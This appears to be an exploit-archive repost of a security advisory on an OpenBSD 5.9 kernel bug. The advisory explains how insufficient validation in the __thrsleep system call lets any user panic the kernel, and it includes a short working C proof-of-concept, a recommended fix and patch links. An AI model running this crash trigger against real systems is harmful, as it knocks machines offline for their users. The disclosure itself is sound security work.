Home / exploits OpenBSD 5.9 kernel panic through the __thrsleep system call
Posted on 30 November -0001
<HTML><HEAD><TITLE>OpenBSD 5.9 kernel panic through the __thrsleep system call</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY>/* * thrsleep_panic.c * Demonstrate a panic through the __thrsleep system call. * * gcc -g thrsleep_panic.c -o thrsleep_panic */ #ifdef BUG_WRITEUP //--------------------------------------------------- __thrsleep validation is insufficient and can lead to a panic. Impact: Any user can panic the OpenBSD kernel with the __thrsleep system call. Description: The __thrsleep system call allows a user to sleep for some amount of time. The system call validates the user-provided parameters in thrsleep() (kern/kern_synch.c) before calling to lower layers to implement the sleep: if (timespeccmp(tsp, &now, <)) { /* already passed: still do the unlock */ if ((error = thrsleep_unlock(lock, lockflags))) return (error); return (EWOULDBLOCK); } timespecsub(tsp, &now, tsp); to_ticks = (long long)hz * tsp->tv_sec + (tsp->tv_nsec + tick * 1000 - 1) / (tick * 1000) + 1; if (to_ticks > INT_MAX) to_ticks = INT_MAX; This validation is insufficient. Some values of the user-provided tsp can be in the future and still lead to a negative to_ticks value after conversion. This condition triggers a panic in timeout_add (kern/kern_timeout.c) when the to_ticks value is checked to be positive: if (to_ticks < 0) panic("timeout_add: to_ticks (%d) < 0", to_ticks); Reproduction: Run the attached thrsleep_panic.c program. NCC verified that it causes a panic on OpenBSD 5.9 GENERIC kernel on an x86_64 processor. Recommendation: Check to see if to_ticks is negative in thrsleep (kern/kern_synch.c) and, if so, saturate its value at INT_MAX, since this indicates an overly large value. Reported: 2016-06-29 Fixed: http://cvsweb.openbsd.org/cgi-bin/cvsweb/src/sys/kern/kern_synch.c?rev=1.132&content-type=text/x-cvsweb-markup http://ftp.openbsd.org/pub/OpenBSD/patches/5.9/common/018_timeout.patch.sig http://ftp.openbsd.org/pub/OpenBSD/patches/5.8/common/021_timeout.patch.sig #endif // BUG_WRITEUP --------------------------------------------------- #include <stdio.h> #include <sys/time.h> int __thrsleep(const volatile void *id, clockid_t clock_id, const struct timespec *abstime, void *lock, const int *abort); int main(int argc, char **argv) { struct timespec tsp = { 0x7000000000000000LL, 0 }; int waitchan; __thrsleep(&waitchan, CLOCK_REALTIME, &tsp, NULL, NULL); printf("nothing happened! "); return 0; } </BODY></HTML>